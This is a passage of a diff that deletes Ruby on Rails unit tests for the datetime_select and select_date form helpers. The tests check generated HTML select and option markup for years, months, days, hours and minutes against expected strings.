-    expected << " &mdash; <select id='post_updated_at_4i' name='post[updated_at(4i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option value='15'>15</option>\n<option selected='selected' value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n</select>\n"
-    expected << " : <select id='post_updated_at_5i' name='post[updated_at(5i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n<option value='32'>32</option>\n<option value='33'>33</option>\n<option value='34'>34</option>\n<option selected='selected' value='35'>35</option>\n<option value='36'>36</option>\n<option value='37'>37</option>\n<option value='38'>38</option>\n<option value='39'>39</option>\n<option value='40'>40</option>\n<option value='41'>41</option>\n<option value='42'>42</option>\n<option value='43'>43</option>\n<option value='44'>44</option>\n<option value='45'>45</option>\n<option value='46'>46</option>\n<option value='47'>47</option>\n<option value='48'>48</option>\n<option value='49'>49</option>\n<option value='50'>50</option>\n<option value='51'>51</option>\n<option value='52'>52</option>\n<option value='53'>53</option>\n<option value='54'>54</option>\n<option value='55'>55</option>\n<option value='56'>56</option>\n<option value='57'>57</option>\n<option value='58'>58</option>\n<option value='59'>59</option>\n</select>\n"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_datetime_select_with_separators
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " , "
-
-    expected << %(<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " - "
-
-    expected << %(<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " - "
-
-    expected << %(<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
-  end
-
-  def test_datetime_select_with_default_prompt
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009,  :prompt => true)
-  end
-
-  def test_datetime_select_with_custom_prompt
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
-  end
-
-  def test_date_select_with_zero_value_and_no_start_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
-  end
-
-  def test_date_select_with_zero_value_and_no_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    last_year = Time.now.year + 5
-    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
-  end
-
-  def test_date_select_with_zero_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :prefix => "date[first]")
-  end
-
-  def test_date_select_with_nil_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
-  end
-
-  def test_datetime_select_with_nil_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
-  end
-
-  def test_datetime_select_with_options_index
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-    id = 456
-
-    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
-  end
-
-  def test_datetime_select_within_fields_for_with_options_index
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-    id = 456
-
-    fields_for :post, @post, :index => id do |f|
-      concat f.datetime_select(:updated_at)
-    end
-
-    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
